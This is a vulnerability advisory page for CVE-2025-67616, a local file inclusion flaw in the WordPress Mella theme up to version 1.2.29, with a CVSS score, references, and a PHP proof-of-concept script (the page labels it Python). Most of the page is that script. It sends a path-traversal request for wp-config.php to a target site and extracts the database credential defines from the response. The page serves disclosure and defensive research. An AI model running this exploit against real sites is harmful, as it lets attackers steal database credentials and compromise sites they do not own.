CVE-2025-67616

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BZOTheme Mella mella allows PHP Local File Inclusion.This issue affects Mella: from n/a through <= 1.2.29.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mella Theme <= 1.2.29

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-67616 PoC - Mella Theme Local File Inclusion
 * Target: WordPress Mella Theme <= 1.2.29
 * Vulnerability: Unauthenticated Local File Inclusion via unsafe include()
 * 
 * Usage: php poc.php <target_url> <file_path>
 * Example: php poc.php http://target.com "../../../../wp-config.php"
 */

$target = $argv[1] ?? '';
$file = $argv[2] ?? '../../../wp-config.php';

if (empty($target)) {
    echo "Usage: php poc.php <target_url> <file_path>\n";
    echo "Example: php poc.php http://target.com \"../../../wp-config.php\"\n";
    exit(1);
}

$url = rtrim($target, '/') . "/?file=" . urlencode($file);

echo "[*] CVE-2025-67616 PoC - Mella Theme LFI\n";
echo "[*] Target: {$target}\n";
echo "[*] File to include: {$file}\n";
echo "[*] Requesting: {$url}\n\n";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_HTTPHEADER => [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Status: {$httpCode}\n";
echo "[*] Response Length: " . strlen($response) . " bytes\n\n";

if (strpos($response, 'DB_NAME') !== false || strpos($response, 'define') !== false) {
    echo "[+] SUCCESS! Sensitive data leaked:\n";
    echo "-------------------------------------------\n";
    preg_match_all('/define\s*\([^)]+\)/', $response, $matches);
    foreach ($matches[0] as $match) {
        echo $match . "\n";
    }
} else {
    echo "[-] Target may not be vulnerable or file not found\n";
    echo "[*] First 500 chars of response:\n";
    echo substr($response, 0, 500) . "\n";
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67616
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67616
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67616/
[4] VulDB https://vuldb.com/cve/CVE-2025-67616
[5] https://patchstack.com/database/Wordpress/Theme/mella/vulnerability/wordpress-mella-theme-1-2-29-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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